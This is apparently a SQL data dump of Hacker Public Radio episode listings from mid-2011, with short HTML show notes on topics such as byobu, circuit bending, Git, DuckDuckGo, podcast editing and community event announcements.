(770,'2011-07-14','byobu',633,'Byobu is an enhancement for the GNU Screen terminal multiplexer','<P>\r\nbyobu is a script that launches GNU screen in the byobu configuration. This enables the display of system information and status notifications\r\nwithin two lines at the bottom of the screen session. It also enables multiple tabbed terminal sessions, accessible through simple keystrokes. \r\n</P>\r\n\r\n<UL>\r\n<LI><A HREF=\"https://help.ubuntu.com/10.04/serverguide/C/byobu.html\">https://help.ubuntu.com/10.04/serverguide/C/byobu.html</A>\r\n<LI><A HREF=\"https://manpages.ubuntu.com/manpages/karmic/en/man1/byobu.1.html\">https://manpages.ubuntu.com/manpages/karmic/en/man1/byobu.1.html</A>\r\n</UL>',129,0,1,'CC-BY-SA','byobu,GNU screen,tmux,Xubuntu',0,2365,1),
(771,'2011-07-15','Mischief Managed',1403,'Keeping your private data private during a border security check','<p>With Customs in various countries acting as Copyright Cops, using any excuse to rifle through your personal and private data not only for threats, but copyright infringement. Wouldn\'t it be great to have invisible ink? You can get your private data through Customs, under the scrutiny of the Copyright Cops while also being a fully cooperative model citizen.</p> \r\n<p>ThistleWeb discusses three ways to do this with the drawbacks of each.</p>\r\n<ul>\r\n<li>Using a Cloud service of some sort to store your data on as you travel, where you upload then download after going through Customs.</li>\r\n<li>Using a decoy user account on your regular installed distro</li>\r\n<li>Using a decoy distro as a dual boot</li>\r\n</ul>\r\n<p>Harry Potter got the Marauders Map in book three, which transforms to blank parchment with a tap of the wand the words \"mischief managed\" so nobody knows it\'s a dynamic map of Hogwarts and it\'s inhabitants. Now your laptop or netbook can have the same invisible ink qualities.</p>\r\n<p>So repeat after me \"I solemnly swear that I am up to no good!\"</p>\r\n<p>Just like the GPL, use at your own risk.</p>',106,0,1,'CC-BY-SA','customs,TSA,security check',0,2379,1),
(772,'2011-07-18','Circuit Bending',592,'Adding volume control to children\'s electronic toys','<P>I realize that what I have done is not\r\ntruly circuit bending, but I felt that it was interesting and \r\n</P>\r\n<P>was the closest related topic to my\r\nhacking.  \r\n</P>\r\n<P><BR><BR>\r\n</P>\r\n<P>Tools I have used:</P>\r\n<P>Precission Screw drivers: flat,philips,\r\ntorx, triwing, and allen</P>\r\n<P>knife or wire cutter</P>\r\n<P>soldering iron</P>\r\n<P>electrical tape</P>\r\n<P>package of various resitors</P>\r\n<P>varialbe resistors ( potentiometers)</P>\r\n<P>Capacitors</P>\r\n<P>super glue</P>\r\n<P><BR><BR>\r\n</P>\r\n<P>Here are some links that may be useful for this type of hacking.</P>\r\n<P>Disassemply</P>\r\n<P><A HREF=\"https://en.wikipedia.org/wiki/Screw_drive\">https://en.wikipedia.org/wiki/Screw_drive</A></P>\r\n<P>Actual Circuit bending</P>\r\n<P><A HREF=\"https://en.wikipedia.org/wiki/Circuit_bending\">https://en.wikipedia.org/wiki/Circuit_bending</A></P>\r\n<P><A HREF=\"https://www.circuitbending.com/\">https://www.circuitbending.com/</A></P>\r\n<P><A HREF=\"https://www.circuitbenders.co.uk/\">https://www.circuitbenders.co.uk/</A></P>\r\n<P>Passsive Audio Filtering \r\n</P>\r\n<P><A HREF=\"https://www.dact.com/html/passive_preamp.html\">https://www.dact.com/html/passive_preamp.html</A></P>\r\n<P><A HREF=\"https://fluxmonkey.com/electronoize/passiveDividersFilters.htm\">https://fluxmonkey.com/electronoize/passiveDividersFilters.htm</A></P>\r\n<P><A HREF=\"https://en.wikipedia.org/wiki/Resistor\">https://en.wikipedia.org/wiki/Resistor</A></P>\r\n<P>Soldering</P>\r\n<P><A HREF=\"https://www.kingbass.com/soldering101.html\">https://www.kingbass.com/soldering101.html</A></P>\r\n<P><BR><BR>\r\nContact NewAgeTechnoHippie at gmail  \r\nfor question or comments\r\n</P>\r\n',177,0,1,'CC-BY-SA','electronics,resistor,capacitor,soldering',0,2142,1),
(773,'2011-07-19','Gabriel Weinberg of DuckDuckGo',1708,'Interview with Gabriel Weinberg of DuckDuckGo','<p>\r\nTodays interview is with Gabriel Weinberg, founder of DuckDuckGo<br />\r\nDuckDuckGo is a search engine based in Valley Forge, Pennsylvania that uses information from crowd-sourced sites (like Wikipedia) with the aim of augmenting traditional results and improving relevance. The search engine philosophy emphasizes privacy and does not record user information.\r\n<p>\r\n<ul>\r\n<li><a href=\"https://duckduckgo.com/?q=hacker+public+radio\">https://duckduckgo.com/?q=hacker+public+radio</a></li>\r\n<li><a href=\"https://duckduckgo.com/about.html\">https://duckduckgo.com/about.html</a></li>\r\n<li><a href=\"https://duckduckgo.com/faq.html\">https://duckduckgo.com/faq.html</a></li>\r\n<li><a href=\"https://secure.wikimedia.org/wikipedia/en/wiki/DuckDuckGo\">https://secure.wikimedia.org/wikipedia/en/wiki/DuckDuckGo</a></li>\r\n</ul>',30,78,1,'CC-BY-SA','\"search engine\",privacy',0,2364,1),
(774,'2011-07-20','Full Circle Podcast: Part Two, Recording and Editing the Podcast',314,'The process of preparing the Full Circle Podcast: recording','<p>The full circle podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community\r\nFind us at <a href=\"https://www.fullcirclemagazine.org/podcast\" target=\"_blank\">https://www.fullcirclemagazine.org/podcast</a>.</p>\r\n<p>Feedback; you can post comments and feedback on the podcast page at fullcirclemagazine dot org forward slash podcast, send us a comment to podcast (at) fullcirclemagazine.org</p>\r\n\r\n<p><strong>Your Host:</strong></p>\r\n<ul>\r\n	<li><strong>Robin  Catling</strong> (blog at <a href=\"https://catlingmindswipe.blogspot.com/\" target=\"_blank\">https://catlingmindswipe.blogspot.com/</a>, @robincatling on Twitter)</li>\r\n</ul>\r\n<p>Some time ago we received a listener request to talk about how we record and edit the Full Circle Podcast. So here it is, in several parts. Part Two is all about the recording itself.</p>\r\n<p><strong>Runtime:</strong> 5mins 14seconds</p>',160,0,1,'CC-BY-SA','\"Behringer microphone\",\"pop filter\",Skype,\"Skype call recorder\"',0,2149,1),
(775,'2011-07-21','HPR AudioBookClub Shadowmagic',4300,'The HPR AudioBookClub reviews Shadowmagic by John Lenahan','<p>\r\nIn this episode of the HPR audio book club Dann Washko, Integgroll, and pokey discuss the podiobooks.com presentation of Shadowmagic written and read by John Lenahan. Also Ken Fallon has recorded a very special opening segment which we\'ve included for your edification. This episode contains spoilers, in the second half, so please listen to the audiobook for yourself before listening to the podcast all the way through. All three hosts and our guest, Ken Fallon, enjoyed and recommend the book.\r\n</p>\r\n<p>\r\nYou can download this audiobook for free (or voluntary donation) from <a href=\"https://www.podiobooks.com/title/shadowmagic\">https://www.podiobooks.com/title/shadowmagic</a> \r\n</p>\r\n<p>\r\nFor more information regarding Shadowmagic and its author, please visit <a href=\"https://www.shadowmagic.co.uk/\">https://www.shadowmagic.co.uk/</a>\r\n</p>\r\n<p>\r\nThe paperback edition of Shadowmagic can be purchased at <a href=\"https://www.bookdepository.com/book/9781905548927/Shadowmagic\">https://www.bookdepository.com/book/9781905548927/Shadowmagic</a>\r\n</p>\r\n<p>\r\nThe music from Shadowmagic was performed by L&uacute;nasa. It received mixed, but enthusiastic opinions from our hosts. You can find out more about Lunasa at their website <a href=\"https://www.lunasa.ie/\">https://www.lunasa.ie/</a>\r\n</p>\r\n<p>\r\nDuring this show the hosts also discuss alcohol beverages. \r\n</p>\r\n<p>\r\n<ul>\r\n<li>Integgroll was drinking Samuel Adams Noble Pils. <a href=\"https://www.samueladams.com\">https://www.samueladams.com</a></li>\r\n<li>pokey was drinking Samuel Adams Irish Red. <a href=\"https://www.samueladams.com\">https://www.samueladams.com</a></li>\r\n<li>Dann was drinking Budweiser, the king of beers. <a href=\"https://www.budweiser.com/en/default.aspx\">https://www.budweiser.com/en/default.aspx</a></li>\r\n</ul>\r\n</p>\r\n<p>\r\nOur next audiobook will be Handbook for the Criminally Insane by Brian Holtz. It is available at podiobooks.com The direct link is: <a href=\"https://www.podiobooks.com/title/handbook-for-the-criminally-insane\">https://www.podiobooks.com/title/handbook-for-the-criminally-insane</a>\r\n</p>\r\n<p>\r\n<ul>\r\nIf you enjoy this episode of HPR, you can find more podcasts by our hosts at:\r\n<li><a href=\"https://techmisfits.com/\">https://techmisfits.com/</a></li>\r\n<li><a href=\"https://linuxindahouse.org/\">https://linuxindahouse.org/</a></li>\r\n<li><a href=\"https://www.tllts.org/\">https://www.tllts.org/</a></li>\r\n</ul>\r\n</p>\r\n<p>\r\nKen\'s Link to the correct pronunciation of Oisin <a href=\"https://www.pronouncenames.com/search?name=oisin\">https://www.pronouncenames.com/search?name=oisin</a> \r\n</p>\r\n<p>\r\nWe all had a great time recording this show, and we hope you enjoyed it as well. Thank you very much for listening.\r\n</p>\r\n<p>\r\nSincerely,\r\nThe HPR_AudioBookClub\r\n</p>\r\n<p>\r\nP.S. Some people enjoy finding mistakes. For their enjoyment, we have included a few.</p>\r\n',157,53,1,'CC-BY-SA','HPR AudioBookClub',0,2315,1),
(776,'2011-07-22','Open Shorts ep 3',1544,'Open Source and Hackable Hardware','MrGadgets revives his old show <a href=\"https://openshorts.wordpress.com/\">https://openshorts.wordpress.com/</a> OpenShorts Podcast Revelation of Open Source and Hackable Hardware, and gives us episode three.',155,0,1,'CC-BY-SA','\"Linksys NSLU2\",\"Radio Shack\",Heathkit,Microcentre,soldering',0,2226,1),
(777,'2011-07-25','What is Cloud?',4646,'A look at aspects of the services jointly referred to as \"The Cloud\"','In today\'s HPR, Josh, StankDawg and Voeltz discuss what \"cloud\" is and what questions you should ask before moving to the cloud.\r\n',55,0,1,'CC-BY-SA','hypervisor,\"virtual environment\",container,security,\"network storage\",SAS,PAAS',0,2407,1),
(778,'2011-07-26','George Washington Carver',144,'A \"Summer Short\" introduction to one of Lostnbronx\'s personal heroes','The summer shorts are intended to be shortform twitter like audio updates. \r\n\r\nIn this summer short we are introduced to George Washington Carver, a personal hero of lostnbronx \r\n\r\n<a href=\"https://en.wikipedia.org/wiki/George_Washington_Carver\">https://en.wikipedia.org/wiki/George_Washington_Carver</a>',107,0,1,'CC-BY-SA','summer shorts',0,2288,1),
(779,'2011-07-28','10 Buck Review: War Games',8187,'The 10 Buck Review podcast do a colorful, detailed review of the classic thriller: WarGames','<p>\r\nToday on HPR we dip into the past and pluck out a gem for our Syndicated Thursday slot.\r\n</p>\r\n<p>\r\nTaken from <a\r\nhref=\"https://tenbuckreview.net/2010/episode-13-wargames-2/\">https://tenbuckreview.net/2010/episode-13-wargames-2/</a>\r\n</p>\r\n\r\n<p>Would you like to play a game?  How about a nice game of thermonuclear war?  Strap in as we review a classic movie about hacking and nuclear tensions.</p>\r\n<p>Special Thanks go to <a href=\"https://jchutchins.net\">Kilroy2.0</a> for the intro bumper and not hijacking our site for his own purposes yet.  As well as <a href=\"https://dualcoremusic.com/nerdcore/\">DualCore</a> for the permission to play there track War Games for the closing music.</p>\r\n<p>\r\n<ul>\r\n<li><a\r\nhref=\"https://www.imdb.com/title/tt0086567/\">https://www.imdb.com/title/tt0086567/</a></li>\r\n<li><a\r\nhref=\"https://en.wikipedia.org/wiki/WarGames\">https://en.wikipedia.org/wiki/WarGames</a></li>\r\n</ul>\r\n</p>',24,109,1,'CC-BY-SA','10 Buck Review',0,2110,1),
(780,'2011-07-29','NovaCut',2406,'klaatu interviews Jason DeRose about a Kickstarter campaign for NovaCut, a video editor','klaatu talks to Jason DeRose about NovaCut (<a href=\"https://novacut.com/\">https://novacut.com/</a>)\r\n<br />\r\nThe fund raiser will end on Friday Jul 29, 11:00pm EDT and they have 774 Backers. They already have raised $25,435 of their $25,000 goal\r\n<br />\r\n<a href=\"https://www.kickstarter.com/projects/novacut/novacut-pro-video-editor\">https://www.kickstarter.com/projects/novacut/novacut-pro-video-editor</a>',78,78,0,'CC-BY-SA','Kickstarter,NovaCut,\"video editor\"',0,2451,1),
(781,'2011-07-31','HPR Community News for July 2011',980,'HPR Community News for July 2011','<h2>New hosts</h2>\r\n<p>\r\nThere were no new hosts this month. We\'re always looking for new hosts so please contribute a show.\r\n\r\n</p>\r\n\r\n<h2>Show Review</h2>\r\n<table id=\"table_results\" class=\"data\"> \r\n<thead><tr> \r\n<th class=\"condition\">id\r\n</th><th>host\r\n</th><th>title\r\n</th></tr> \r\n</thead> \r\n        <tbody> \r\n    <tr class=\"odd\"> \r\n<td align=\"right\" class=\" condition nowrap\">761</td> \r\n<td  class=\"\">HPR Admins</td> \r\n<td  class=\"\">HPR Community News for June 2011</td> \r\n</tr> \r\n            \r\n    <tr class=\"even\"> \r\n<td align=\"right\" class=\" condition nowrap\">762</td> \r\n<td  class=\"\">lostnbronx</td> \r\n<td  class=\"\">THEATER OF THE IMAGINATION: 04</td> \r\n</tr> \r\n            \r\n    <tr class=\"odd\"> \r\n<td align=\"right\" class=\" condition nowrap\">763</td> \r\n<td  class=\"\">MrGadgets</td> \r\n<td  class=\"\">Worst movie ever</td> \r\n</tr> \r\n            \r\n    <tr class=\"even\"> \r\n<td align=\"right\" class=\" condition nowrap\">764</td> \r\n<td  class=\"\">Robin Catling</td> \r\n<td  class=\"\">Matt Grove of Miserware - Energy-saving computing</td> \r\n</tr> \r\n            \r\n    <tr class=\"odd\"> \r\n<td align=\"right\" class=\" condition nowrap\">765</td> \r\n<td  class=\"\">klaatu</td> \r\n<td  class=\"\">South East Linux Fest organizers</td> \r\n</tr> \r\n            \r\n    <tr class=\"even\"> \r\n<td align=\"right\" class=\" condition nowrap\">766</td> \r\n<td  class=\"\">MrGadgets</td> \r\n<td  class=\"\">MrGadgets finds Linux</td> \r\n</tr> \r\n            \r\n    <tr class=\"odd\"> \r\n<td align=\"right\" class=\" condition nowrap\">767</td> \r\n<td  class=\"\">klaatu</td> \r\n<td  class=\"\">Maddog and &quot;super dumb terminals&quot;</td> \r\n</tr> \r\n            \r\n    <tr class=\"even\"> \r\n<td align=\"right\" class=\" condition nowrap\">768</td> \r\n<td  class=\"\">Ken Fallon</td> \r\n<td  class=\"\">Sort</td> \r\n</tr> \r\n            \r\n    <tr class=\"odd\"> \r\n<td align=\"right\" class=\" condition nowrap\">769</td> \r\n<td  class=\"\">HPR Admins</td> \r\n<td  class=\"\">Linux Outlaws 215 - Bitcoin Discussion</td> \r\n</tr> \r\n            \r\n    <tr class=\"even\"> \r\n<td align=\"right\" class=\" condition nowrap\">770</td> \r\n<td  class=\"\">JWP</td> \r\n<td  class=\"\">byobu</td> \r\n</tr> \r\n            \r\n    <tr class=\"odd\"> \r\n<td align=\"right\" class=\" condition nowrap\">771</td> \r\n<td  class=\"\">Thistleweb</td> \r\n<td  class=\"\">Mischief Managed</td> \r\n</tr> \r\n            \r\n    <tr class=\"even\"> \r\n<td align=\"right\" class=\" condition nowrap\">772</td> \r\n<td  class=\"\">NewAgeTechnoHippie</td> \r\n<td  class=\"\">Circuit Bending</td> \r\n</tr> \r\n            \r\n    <tr class=\"odd\"> \r\n<td align=\"right\" class=\" condition nowrap\">773</td> \r\n<td  class=\"\">Ken Fallon</td> \r\n<td  class=\"\">Gabriel Weinberg of DuckDuckGo</td> \r\n</tr> \r\n            \r\n    <tr class=\"even\"> \r\n<td align=\"right\" class=\" condition nowrap\">774</td> \r\n<td  class=\"\">Robin Catling</td> \r\n<td  class=\"\">Full Cirle Podcast Part Two Recording Editing the Podcast</td> \r\n</tr> \r\n            \r\n    <tr class=\"odd\"> \r\n<td align=\"right\" class=\" condition nowrap\">775</td> \r\n<td  class=\"\">HPR_AudioBookClub</td> \r\n<td  class=\"\">HPR AudioBookClub Shadowmagic</td> \r\n</tr> \r\n            \r\n    <tr class=\"even\"> \r\n<td align=\"right\" class=\" condition nowrap\">776</td> \r\n<td  class=\"\">MrGadgets</td> \r\n<td  class=\"\">Open Shorts ep 3</td> \r\n</tr> \r\n            \r\n    <tr class=\"odd\"> \r\n<td align=\"right\" class=\" condition nowrap\">777</td> \r\n<td  class=\"\">Josh Knapp, Voeltz, StankDawg</td> \r\n<td  class=\"\">What is Cloud?</td> \r\n</tr> \r\n            \r\n    <tr class=\"even\"> \r\n<td align=\"right\" class=\" condition nowrap\">778</td> \r\n<td  class=\"\">lostnbronx</td> \r\n<td  class=\"\">George Washington Carver</td> \r\n</tr> \r\n            \r\n    <tr class=\"odd\"> \r\n<td align=\"right\" class=\" condition nowrap\">779</td> \r\n<td  class=\"\">Lord Drachenblut</td> \r\n<td  class=\"\">10 Buck Review: War Games</td> \r\n</tr> \r\n            \r\n    <tr class=\"even\"> \r\n<td align=\"right\" class=\" condition nowrap\">780</td> \r\n<td  class=\"\">klaatu</td> \r\n<td  class=\"\">NovaCut</td> \r\n</tr> \r\n            \r\n</tbody> \r\n</table> \r\n\r\n<h2>Thanks To</h2>\r\n<UL> \r\n<li>Scott Dicks for pointing out a bad link in episode 759</li>\r\n<li>Everyone that replied to the call for change of license</li>\r\n</UL>\r\n<h2>Apologies To</h2>\r\n<UL> \r\n<li>those that have bad memories</li>\r\n</UL>\r\n<h2>Month in Review </h2>\r\n<ul>\r\n<li>HPR ranked #8 Geek Podcast by Linux Format</li>\r\n<li>Jason Scott has a new way to upload to Archive.org</li>\r\n<li>New Outro</li>\r\n<li>Short of shows</li>\r\n<li>Summer Shorts</li>\r\n<li>Request for an episode on <a href=\"https://m.lifehacker.com/5825746/what-you-need-to-know-about-the-internet-snooping-bill-and-what-you-can-do-about-it\">Internet Shooping bill</a></li>\r\n<li>What would you like to hear in a hpr presentation</li> \r\n</ul>\r\n<h2></h2>\r\n\r\n<h2>RFC Changing show to CC-BY-SA</h2>\r\n<p>\r\nSome old shows may contain music that we cannot re-license <br />\r\n49 hosts agree to the change, representing 376 shows<br />\r\n76 hosts disagree or have not replied, representing 400 shows\r\n</p>\r\n\r\n<h2>Events</h2>\r\n<a title=\"OggCamp 11\" href=\"https://oggcamp.org\"><img src=\"https://oggcamp.org/files/oggcamp11-badge-400px.png\" /></a>`\r\n<p>OggCamp 11 is a free two-day unconference (unscheduled conference) for anyone who loves anything related to technology, data, culture, community, open source...and more!</p>\r\n<p><strong>AUGUST 13 &amp; 14, FARNHAM MALTINGS</strong></p>\r\n\r\n\r\n<hr />\r\n<img src=\"https://hackerpublicradio.org/images/phreaknic-15.gif\">\r\n<h2>When is PhreakNIC?</h2>\r\n<p>November 4-6, 2011</p>\r\n<h2>Where is PhreakNIC?</h2>\r\n<p>Days Inn Stadium<br>\r\n211 North First Street<br>\r\nNashville, TN 37213</p>\r\n<h2>What is PhreakNIC?</h2><p>PhreakNIC is Nashville\'s annual hacker con. Anyone is welcome to attend. We create an environment where people who are interested in the more underground elements of technology can meet, exchange ideas and hopefully teach/learn. The primary focus is on computers and computer security, but we also cover other topics, such as radio (ham, pirate &amp; low-power/community), SETI work, robotics, high-power rocketry, satellites, phones and phreaking, cryptography, etc. PhreakNIC is organized annually by <a href=\"https://nashville2600.org\">Nashville 2600</a> a non-profit organization.</p>\r\n\r\n<p>Pre-Registration is available again through click and pledge at <a href=\"https://store.phreaknic.info\">store.phreaknic.info</a>. If you pre-register this year please use the \"<a href=\"https://www.phreaknic.info/pn15/upload.php\">Customize your con badge</a>\" link in the menu to submit your visage/logo for your badge. This will be our fifteenth year and we hope you will make plans to join us.</p>\r\n<h2>Who is PhreakNIC</h2>\r\n<p>PhreakNIC is attended by anyone with a curious mind.  That being said we are now accepting papers for this year.  If you would like to give a talk submit your name and a brief synopsis of what you\'d like to talk about to president -at- nashville2600.org.</p>',159,47,1,'CC-BY-SA','Community News',0,2251,1),
(782,'2011-08-01','Technological ethics of Open Source Software',1239,'MrGadgets discusses Open Source Software versus closed and proprietary options','MrGadgets discusses Open Source Software. He compares software running on Windows and Mac OS X.It just works appeal and is this something that we should chase. How easy should the user experience be ? Should you make a stand in order to support your technological ethics ?',155,0,1,'CC-BY-SA','\"Open Source Software\",\"walled garden\",\"user experience\"',0,2191,1),
(783,'2011-08-02','Libertarianism + IT, a match made in heaven?',2100,'An exploration of a possible Libertarian near-future brought on by information technology','Today I play the role of a fortune teller,  I will give you my predictions for the future.  Contact me @ dismal.science.hpr AT gmail DOT com',141,0,1,'CC-BY-SA','linux,it,libertarianism,prediction,economics',0,2820,1),
(784,'2011-08-03','Full Circle Podcast: Part Three, The Edit',754,'The process of edit the Full Circle podcast audio, including audacity techniques and content policy.','<p>It\'s the one you\'ve all been waiting for, the meat and potatoes of this series, the edit process for our show. This is where is gets seriously messy...</p>\r\n<p><strong>Runtime:</strong> 12mins 34seconds</p>\r\n<p><strong>Your Host:</strong></p>\r\n<ul>\r\n	<li><strong>Robin  Catling</strong> (blog at <a href=\"https://catlingmindswipe.blogspot.com/\" target=\"_blank\">https://catlingmindswipe.blogspot.com/</a>, @robincatling on Twitter)</li>\r\n</ul>\r\n<p>Additional audio by Victoria Pritchard</p>\r\n<p>The full circle podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community\r\nFind us at <a href=\"https://www.fullcirclemagazine.org/podcast\" target=\"_blank\">https://www.fullcirclemagazine.org/podcast</a>.</p>\r\n<p>Feedback; you can post comments and feedback on the podcast page at fullcirclemagazine.org/podcast, send us a comment to podcast (at) fullcirclemagazine.org</p>',160,0,1,'CC-BY-SA','Full Circle Podcast',0,2144,1),
(785,'2011-08-04','binaural recording',393,'Binaural 3d audio recording, please listen at normal speed with good head phones.','<P>\r\n<A HREF=\"https://www.flickr.com/photos/quvmoh/5976661064/in/photostream\">https://www.flickr.com/photos/quvmoh/5976661064/in/photostream</A>\r\n</P>\r\n<P>\r\n<A HREF=\"https://en.wikipedia.org/wiki/Binaural_recording\">https://en.wikipedia.org/wiki/Binaural_recording</A>\r\n</P>\r\n<P>\r\nYes I am the dummy head..\r\n</P>\r\n<P>\r\n<A HREF=\"https://www.flickr.com/photos/quvmoh/\">https://www.flickr.com/photos/quvmoh/</A>\r\n</P>\r\n	',110,0,1,'CC-BY-SA','recording,binaural,3d,audio',0,2568,1),
(786,'2011-08-07','Streaming sporting events',409,'Designing a system to live stream video from multiple cameras at a sporting event','In this show droops asks for help on live recording a sporting event.',1,0,1,'CC-BY-SA','video,\"live stream\",camera',0,2171,1),
(787,'2011-08-08','Grep for tab',158,'Ken submits a summer short explaining how to grep for a tab character in a file','In todays summer short Ken tells us about how you can grep for a tab in a file.<br />\r\ngrep \"first{ctrl+v}{tab}second\" file.txt<br />\r\n<p />\r\n<p>\r\nfor more information see <a href=\"https://www.linuxquestions.org/questions/linux-newbie-8/tab-in-bash-script-242400/#post4386714\">https://www.linuxquestions.org/questions/linux-newbie-8/tab-in-bash-script-242400/#post4386714</a>',30,0,1,'CC-BY-SA','summer shorts',0,2412,1),
(788,'2011-08-09','Bitcoin',1701,'JWP investigates claims made about bitcoin on other podcasts, and provides an intro to Bitcoin','Inspired by <a href=\"https://hackerpublicradio.org/eps.php?id=0769\"> episode 769</a>, JWP gives some feedback on Linux Outlaws 215 - Bitcoin Discussion',129,0,1,'CC-BY-SA','bitcoin,linux outlaws,linux action show',0,2520,1),
(789,'2011-08-10','GeekNights Git: the fast version control system',3739,'The GeekNights podcast provides an introduction to the Git version control system','<p>\r\nYou are listening to syndicated thursday on hacker public radio\r\n</p>\r\n<p>\r\nEach thursday we high light a creative commons work and today it\'s GeekNights\r\n</p>\r\n<p>\r\nIn this episode they talk about Git: the fast version control system\r\n</p>\r\n<p>\r\nThe technical discussion begins about 30 minutes in.\r\n</p>\r\n<p>\r\nFrom <a href=\"https://frontrowcrew.com/geeknights/20110801/git/\">https://frontrowcrew.com/geeknights/20110801/git/</a>\r\n</p>\r\n\r\n<h3><a href=\"https://frontrowcrew.com/geeknights/20110801/git/\">Git</a></h3>\r\n<h5>Monday August 1, 2011</h5>\r\n\r\n<p></p>\r\n<p>Tonight on GeekNights, we talk about <a href=\"https://git-scm.com/\">Git</a>: the fast version control system.  First, Scott discovers the sadness of attempting to develop iOS Applications on our poor old Mac Mini (Core Solo), Rym built his <a href=\"https://forum.frontrowcrew.com/comments.php?DiscussionID=8448\">HTPC</a>, and GeekNights has a fancy new Facebook page.  In the news, commodity face recognition, data mining, and data aggregation will do exactly what we expected and can, among other things, <a href=\"https://yro.slashdot.org/story/11/08/01/1533210/How-Face-Recognition-Can-Uncover-SSNs\">reveal your SSN</a>.  Adobe releases a <a href=\"https://labs.adobe.com/technologies/edge/\">preview of Edge</a>.</p><p></p>\r\n\r\n<ul class=\"totdlist\">\r\n        \r\n        <li>Scott\'s Thing - <a href=\"https://vimeo.com/25474499\">Follow the Sun</a></li>\r\n        \r\n        <li>Rym\'s Thing - <a href=\"https://math.stackexchange.com/questions/54506/is-this-batman-equation-for-real\">The Batman Equation</a></li>\r\n        \r\n</ul>\r\n<ul>\r\n        <li class=\"mp3\">\r\n        <a href=\"https://traffic.libsyn.com/geeknights/20110801.mp3\">Download</a>\r\n\r\n        </li>\r\n        <li class=\"comments\">\r\n        <a href=\"https://forum.frontrowcrew.com/comments.php?DiscussionID=8477\">Forum Discussion</a>\r\n        </li>\r\n<li>\r\n<a href=\"https://frontrowcrew.com/geeknights/monday/\">More Monday shows</a></li>\r\n</ul>\r\n\r\n\r\n\r\n',159,54,1,'CC-BY-SA','syndicated thursday,git,version control',0,2252,1),
(790,'2011-08-11','guake a drop-down terminal emulator',296,'A quick overview of the Guake drop-down terminal emulator','<p>\r\nAn episode proclaiming the wonders of <a href=\"https://www.guake.org\">guake</a>, a drop-down terminal emulator in the tradition of the terminal in <a href=\"https://en.wikipedia.org/wiki/Quake_%28video_game%29\">Quake</a>.\r\n</p>\r\n<p>\r\nI also mention <a href=\"https://yakuake.kde.org/\">Yakuake</a> if you\'re a big fan of KDE.\r\n</p>\r\n<p>\r\n<a href=\"https://en.wikipedia.org/wiki/Quake_%28video_game%29\">https://en.wikipedia.org/wiki/Quake_%28video_game%29</a><br />\r\n<a href=\"https://www.guake.org\">https://www.guake.org</a>',184,0,1,'CC-BY-SA','summer short,terminal',0,2460,1),
(791,'2011-08-14','Interview with Moose about Ohio LinuxFest',3334,'Ken talks to Moose, one of the organizers of Ohio LinuxFest','<p>\r\nIn today\'s episode Ken talks to Moose one of the organizers of Ohio Linux Fest\r\n</p>\r\n\r\n<h2>About the Ohio LinuxFest</h2>\r\n\r\n<p>The Ohio LinuxFest is a grassroots conference for the GNU/Linux/Open Source Software/Free Software community that started in 2003 as a large inter-LUG meeting and has grown steadily since. It is a place for the community to gather and share information about Linux and Open Source Software.</p>\r\n<p>A large expo area adjacent to the conference rooms will feature exhibits from our sponsors as well as a large .org section from non-profit Open Source/Free Software projects.</p>\r\n\r\n<p>The Ohio LinuxFest welcomes people from all 50 states and international participants. We\'ve had participants from Canada, England, Argentina, Brazil, and Australia in years past.</p>\r\n\r\n<h2>Contact Info</h2>\r\n<p>Contact us if you have any questions or would like to volunteer to help.</p>\r\n<table border=\"0\" cellpadding=\"6\">\r\n    <tbody>\r\n        <tr>\r\n\r\n            <th>&nbsp;</th>\r\n            <th>name</th>\r\n            <th>email</th>\r\n            <th>irc nick</th>\r\n        </tr>\r\n        <tr>\r\n            <td>General Info</td>\r\n\r\n            <td>&nbsp;</td>\r\n            <td>team@ohiolinux.org</td>\r\n            <td>&nbsp;</td>\r\n        </tr>\r\n        <tr>\r\n            <td>Sponsorship</td>\r\n            <td>Robert Ball</td>\r\n\r\n            <td>sponsorship@ohiolinux.org</td>\r\n            <td>steakum</td>\r\n        </tr>\r\n        <tr>\r\n            <td>Web site</td>\r\n            <td>Michael Meffie</td>\r\n            <td>webmaster@ohiolinux.org</td>\r\n\r\n            <td>meffie</td>\r\n        </tr>\r\n    </tbody>\r\n</table>\r\n<p>You may reach us on IRC at irc.oftc.net, channel #ohiolinux</p>\r\n<h2>Diversity Statement</h2>\r\n<p>The Ohio LinuxFest is dedicated for making Open Source truly open to everyone.  We do not discriminate based on ethnic background, religion, gender, sexuality, body shape, disability, or even what operating system you use.   We also do not tolerate harassment based on discrimination.</p>\r\n<p>&nbsp;</p>\r\n<p>We understand that some people need special assistance to fully enjoy our conference. If we can help you find a wheelchair, arrange for an ASL translator or a guide for the sight impaired, or any other special need, please let us know at <a href=\"mailto:assist@ohiolinux.org\">assist@ohiolinux.org</a>.  Sorry, we cannot help with child care needs. Please understand that organizing some things take time and are best pre-arranged.  If you need help the day of the event please contact a staff person for assistance. We will handle your request or complaint as quickly as possible.</p>\r\n',30,78,1,'CC-BY-SA','\"Ohio LinuxFest\",\"OLF 2011\"',0,2357,1),
(792,'2011-08-16','Binaural Recording',1426,'A response to episode 785 by Quvmoh on binaural recording','MrGadgets calls in feedback on episode <a href=\"https://hackerpublicradio.org/eps.php?id=0785\">785</a> on binaural recording that was hosted by Quvmoh',155,0,1,'CC-BY-SA','audio,\"binaural recording\",\"matrix microphone\"',0,2510,1),
(793,'2011-08-16','Server/Client relationship, DHCP server',4149,'Part 6 of Klaatu\'s Networking Basics miniseries','<p>Remember back in the 400s of HPR when Klaatu was doing a Networking Basics miniseries?  Well, its back, with an introduction to the concept of the Server / Client relationship, how to set up a server as an internet gateway and a DHCP server.</p>\r\n',78,61,0,'CC-BY-SA','networking,server,client,DHCP,router',0,2364,1),
